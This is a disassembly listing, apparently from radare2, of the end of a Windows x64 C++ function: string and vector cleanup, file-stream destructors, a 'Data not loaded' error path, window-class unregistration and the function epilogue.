cmp rdx, 0x1000
jb 0x140060281
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r15
mov rax, qword [rbp + 0x1040]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1040], rbx
mov rax, qword [rbp + 0x1040]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x103c], edx
lea rcx, [rbp + 0x1048]
call fcn.140061650
lea rcx, [rbp + 0x1050]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x10e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14006031e
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060319
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], 0
mov rcx, qword [rbp + 0x78]
test rcx, rcx
je 0x14006037a
mov rdx, qword [rbp + 0x88]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060366
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], r15
lea rcx, [rbp + 0x160]
call fcn.1400616c0
xor eax, eax
jmp 0x140060938
mov dword [rbp + 0x820], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rdx, str.Data_not_loaded._Exiting_application...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140062360
lea rdx, [0x140062760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rbp + 0x210]
cmp rdx, 0xf
jbe 0x14006040a
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060405
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
mov qword [rbp + 0x208], r15
mov qword [rbp + 0x210], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1f8], 0
mov r8, qword [rbp - 8]
test r8, r8
je 0x140060488
mov rcx, qword [rbp + 8]
sub rcx, r8
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x140060474
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
mov rcx, r8
call fcn.1400c5e9c
xorps xmm0, xmm0
movdqu xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r15
mov rax, qword [rbp + 0xf30]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xf30], rbx
mov rax, qword [rbp + 0xf30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xf2c], edx
lea rcx, [rbp + 0xf38]
call fcn.140061650
lea rcx, [rbp + 0xf40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xfd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14006051b
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060516
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x140060571
mov rdx, qword [rbp + 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060560
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r15
mov rax, qword [rbp + 0x1040]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1040], rbx
mov rax, qword [rbp + 0x1040]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x103c], edx
lea rcx, [rbp + 0x1048]
call fcn.140061650
lea rcx, [rbp + 0x1050]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x10e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x1400605fd
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400605f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], 0
mov rcx, qword [rbp + 0x78]
test rcx, rcx
je 0x140060659
mov rdx, qword [rbp + 0x88]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060645
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], r15
mov r8, qword [rbp + 0x160]
test r8, r8
je 0x140060936
mov rcx, qword [rbp + 0x170]
sub rcx, r8
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x1400606b4
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
mov rcx, r8
call fcn.1400c5e9c
jmp 0x140060936
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [rbp + 0x588], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call fcn.1400609a0
mov rdx, qword [rbp + 0x9a8]
mov rcx, qword [rbp + 0x9d0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rax, qword [rbp + 0xf30]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xf30], r14
mov rax, qword [rbp + 0xf30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xf2c], edx
lea rcx, [rbp + 0xf38]
call fcn.140061650
lea rcx, [rbp + 0xf40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xfd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14006078e
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060789
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], r15b
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x1400607e4
mov rdx, qword [rbp + 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400607d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r15
mov rax, qword [rbp + 0x1040]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1040], r14
mov rax, qword [rbp + 0x1040]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x103c], edx
lea rcx, [rbp + 0x1048]
call fcn.140061650
lea rcx, [rbp + 0x1050]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x10e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140060870
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006086b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], r15b
mov rcx, qword [rbp + 0x78]
test rcx, rcx
je 0x1400608c8
mov rdx, qword [rbp + 0x88]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400608b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], r15
mov r8, qword [rbp + 0x160]
test r8, r8
je 0x140060931
mov rcx, qword [rbp + 0x170]
sub rcx, r8
movabs rax, 0x6666666666666667
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x140060929
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140060929
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.1400c5e9c
mov edi, 1
mov eax, edi
lea r11, [rsp + 0x7830]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret